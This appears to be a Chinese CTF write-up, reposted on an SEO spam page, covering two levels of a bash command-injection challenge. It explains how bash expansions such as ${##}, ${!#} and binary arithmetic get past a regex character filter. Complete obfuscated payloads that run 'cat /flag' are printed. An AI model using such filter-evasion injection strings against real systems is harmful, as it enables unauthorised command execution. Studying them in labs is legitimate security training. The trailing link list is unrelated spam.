当前位置: 首页 > wzjs >正文

秦皇岛网站seosemen是什么意思

秦皇岛网站seo,semen是什么意思,高端定制网站速度,做网站需要写程序Level 11 分析源码 主要关注 preg_match("/[A-Za-z1-9\"%*,-.\/:;>?[\]^|]/", $cmd) 过滤字符的变化发现比起上一关, 这一关可以使用的数字只有 0归纳一下, 能用的字符有 #, $, (, ), 0, <, \, {, } 解题分析 而没有了 1, 怎么表示二进制呢?这个时…

Level 11

分析源码

  • 主要关注 preg_match("/[A-Za-z1-9\"%*+,-.\/:;=>?@[\]^|]/", $cmd)` 过滤字符的变化
  • 发现比起上一关, 这一关可以使用的数字只有 0
  • 归纳一下, 能用的字符有
    • #, $, (, ), 0, <, \, {, }

解题分析

  • 而没有了 1, 怎么表示二进制呢?
  • 这个时候就需要使用间接扩展特性中的${#xxx}, 它用于表示变量 xxx 存储的字符串长度
    • sh-5.1# a=1
      sh-5.1# echo ${#a}
      1
      
  • 而前几关提到 ${#}代表传递给当前脚本的参数个数, 虽说他没有办法作为 1 使用, 但是 # 可以作为变量, 而其存储的 0 的长度为 1
    sh-5.1# echo $#
    0
    sh-5.1# echo ${##}
    1
    
    • 所以我们只需要把上关的 Paylaod 中的 1, 全部换为 ${##} 即可
    • 上关的Payload为
      $0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'
      
    • 替换后为
      $0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'
      

解题步骤

  • 似乎出题人察觉到了, GET请求的最大长度已经不满足于现在的Payload了(后面查了一下, 发现其实距离超出限制还远远不到)
  • 所以这一关采用了 POST 请求(应该是省的URL转换吧)
  • 当然也就不在需要使用 URL编码 了

请添加图片描述

Level 12

源码分析

  • 这一关并未给出源码
    • 似乎是因为本关考察点在 PHP 的 system 中并不支持
    • 所以在 Python 的 Flask 环境下使用subprocess模块来执行命令
    • 并给我们一个虚拟终端
  • 不过还是告诉了 WAF 是什么
    "WAF:[A-Za-z0-9"%*+,-.\/:;=>?@[\]^`|&_~]"
    
  • 也就是说这一关中, 任何一个数字都使用不了了
  • 不过以下几个符号还是可以使用的
    ! # $ ' ( ) < \ { }
    

解题分析

  • 这里就要使用间接扩展特性中的${!xxx}, 它表示用xxx的值作为另一个变量的名字, 然后取出那个变量的值
    • sh-5.1# a=0
      sh-5.1# echo ${!a}
      /bin/sh
      
    • ${!a} 就相当于 $0
    • 这样就找到 $0 代替 bash 的平替了
  • 然后 ${#} 为传递给当前脚本的参数个数, 也就是 0
  • 现在就可以把上一关的 Payload 拿来修改了
    $0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'
    
  • 修改后
    ${!#}<<<${!#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\'
    

解题步骤

  • 既然给我们了UI界面, 那直接使用输入Payload就行了
  • 请添加图片描述
http://www.dtcms.com/wzjs/270804.html

相关文章:

  • 山门做网站优化工具箱
  • 广州疫情最新情况最新消息宜昌网站seo收费
  • 西部数码网站备案查询餐饮营销方案
  • 经典的java做网站电子商务沙盘seo关键词
  • 西安网站优化体验怎样搭建自己的网站
  • 网站数据库5g个人微信管理系统
  • 用mcu做灯光效果网站整合营销方案怎么写
  • 重庆网站平台如何推广电商营销策划方案
  • 南昌网站建设制作中国刚刚发生的新闻
  • 插画师培训网站建设关键词seo排名优化如何
  • 济南网站建设优化营销网络的建设
  • 网站 搜索 关键字 description流量宝
  • 网站权重转移做排名足球世界排名
  • 免费虚拟空间网站购物网站网页设计
  • 网站建设包括哪些技术竞价推广账户竞价托管收费
  • 关于域名和主机论坛的网站账号权重查询
  • 内容类网站如何 流量北京营销网站制作
  • 怎么做网站报告深圳推广公司排行榜
  • 网站在线统计代码廊坊百度提升优化
  • 西安机械加工网国家优化防控措施
  • 怎么做网站简单的it培训机构排行榜
  • 旅游网站建设计划书网页制作模板
  • 淘宝的网站怎么做的好处人大常委会委员长
  • 什么是高端网站建设搜易网服务内容
  • 淘宝客网站建设教程个人网站制作
  • 怎么做阿里巴巴英文网站在线生成html网页
  • 容桂佛山做app网站百度推广要自己建站吗
  • 湖北孝感展示型网站建设价格企业文化建设方案
  • 长春seo公司长春网站设计seo教程搜索引擎优化
  • 做网页培训seo外包如何